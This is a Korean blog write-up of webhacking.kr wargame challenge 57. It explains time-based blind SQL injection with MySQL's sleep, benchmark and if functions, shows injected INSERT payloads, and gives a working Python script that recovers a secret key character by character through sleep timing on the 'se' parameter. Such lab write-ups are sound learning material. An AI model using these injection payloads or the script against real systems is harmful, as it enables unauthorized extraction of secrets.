-
[Webhacking.kr] 57번 풀이Wargame/webhacking.kr (old) 2019. 5. 9. 13:23
secret key를 알아내서 입력하는 문제인 것 같다.
소스를 보자.
pw가 \$secret_key와 같으면 문제가 풀리고 se 문자열이 from, union등이 필터링되어 있다.
insert문을 이용하여 데이터가 저장된다.
처음에는 insert문을 이용하여 secret 키의 값을 조작해서 푸는 건줄 알았으나,
잘보면 \$secret_key는 값이 초기화되는 채로 pw와 값을 비교하기때문에 \$secret_key는 조작할 수 없다.
\$secret_key의 값을 알아내야한다.
일단 페이지의 반응을 보자.
message에 값을 입력해주면 get 방식으로 msg와 se의 값이 전송된다.
se는 secret의 라디오 버튼 값이다. (yes : 1, no : 0)
값이 올바르게 전송되면 Done이 출력된다.
소스를 좀 더 자세히보면 benchmark가 필터링되어있다.
처음보는 단어인데 필터링되어 있다는 것은 의심해볼만 하다.
benchmark를 검색해보니 Time-Based SQL Injection에 사용되는 함수라고 나와있다.
Time-Based SQL Injection이란?
시간을 이용한 SQL Injection 공격
SQL 쿼리문의 실행 결과에 따라 반환시간을 지연시킴으로써 쿼리문의 참과 거짓을 판별
주로 참과 거짓에 따라 차이를 확인할 수 없을 때 사용
database종류에 따라 sleep, benchmark, waitfor delay등의 함수를 사용
[ Time-Based SQL Injection ] https://www.owasp.org/index.php/Blind_SQL_Injection
[ Time-Based SQL Injection ] https://tempuss.tistory.com/entry/Time-Base-SQL-Injection
benchmark(count, expr)
특정 식 expr을 count 만큼 반복 실행하는 함수
연산을 반복하여 걸리는 시간으로 sleep함수와 같은 효과를 얻을 수 있다.
[ benchmark ] https://dev.mysql.com/doc/refman/5.7/en/information-functions.html
sleep(duration)
duration 초만큼 일시 중지 한 후 0을 반환하는 함수
[ sleep ] https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep
if(expression, expr_true, expr_false)
expression 조건문이 참일 경우 expr_true 실행, 거짓일 경우 expr_false 실행
[ if ] http://www.spatium.co.kr/languages/content.php?chno=5&bno=34
위 함수들을 이용하여 MySQL에서 쿼리문을 만들어 실행해보았다.
참인 경우 sleep(3) 이 실행되어 insert문을 실행하는데 3.38초가 걸린다.
이처럼 쿼리문을 실행하는데 걸리는 시간을 이용하여 Blind SQL Injection을 수행하여
\$secret_key를 알아낼 수 있을 것 같다.
insert 문이 실행되어 페이지에 Done이 출력되는 시간을 측정하여 쿼리문의 참과 거짓을 판별한다.
insert into challenge57msg(id,msg,pw,op) values
('id','msg','$secret_key',if(length(pw)=숫자,sleep(5),1));
pw의 길이가 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.
insert into challenge57msg(id,msg,pw,op) values
('id','msg','$secret_key',if(ascii(substr(pw,1,1)=97,sleep(5),1));
pw의 값이 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.
위 쿼리문이 잘 실행되는지 확인해보았는데 Not Acceptable이 출력된다.....
뭔가 필터링되어있나 싶어 if와 sleep를 입력해보았는데 Done이 잘 출력된다.
흠..
왜때문인지 모르겠으나.. 혹시나 싶어 sleep의 시간을 고쳐보았더니 0.9로 하면 잘된다.
쿼리문을 판단하기에는 0.9초는 너무 짧은것 같아 혹시나 하는 마음으로 sleep(5.0)을 하였더니 잘 된다.
왜 정수는 안되는지 모르겠다.
아무튼 잘되니 python을 이용하여 \$secret_key의 값을 알아보자.
(시간을 너무 짧게 주면 쿼리문을 실행하는데 걸리는 시간에 의해 잘못된 값이 찾아질 수도 있다.)
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import time import requests headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=9c0180eae964c316c2f3895e27ad28f7;'} url = "http://webhacking.kr/challenge/web/web-34/index.php" #Find secret key length len = 0 while True: data = "?msg=a&se=if(length(pw)="+str(len)+",sleep(5.0),1)" pre_time = time.time() r = requests.get(url+data,headers=headers) if r.text.find('Done') != -1 : cur_time = time.time() if cur_time - pre_time >= 5 : #Check time break len += 1 print "------------------------------------------------" print "SECRET KEY LEN : ",len print "------------------------------------------------" #Find secret key secret_key = '' for i in range(1,len+1): for j in range(48,123): if 58 <= j <= 96: continue data = "?msg=a&se=if(ascii(substr(pw,"+str(i)+",1))="+str(j)+",sleep(5.0),1)" pre_time = time.time() r = requests.get(url+data,headers=headers) if r.text.find('Done') != -1 : cur_time = time.time() if cur_time - pre_time >= 5 : #Check time secret_key += chr(j) print "found : ",secret_key break print "------------------------------------------------" print "SECRET KEY : ", secret_key print "------------------------------------------------"
[ 실행 결과 ]
찾은 secret key인 1058792495를 입력해주면 문제가 풀린다.
'Wargame > webhacking.kr (old)' 카테고리의 다른 글
[Webhacking.kr] 59번 풀이 (0) 2019.05.11 [Webhacking.kr] 58번 풀이 (0) 2019.05.11 [Webhacking.kr] 56번 풀이 (0) 2019.05.09 [Webhacking.kr] 55번 풀이 (0) 2019.05.08 [Webhacking.kr] 54번 풀이 (0) 2019.05.08 댓글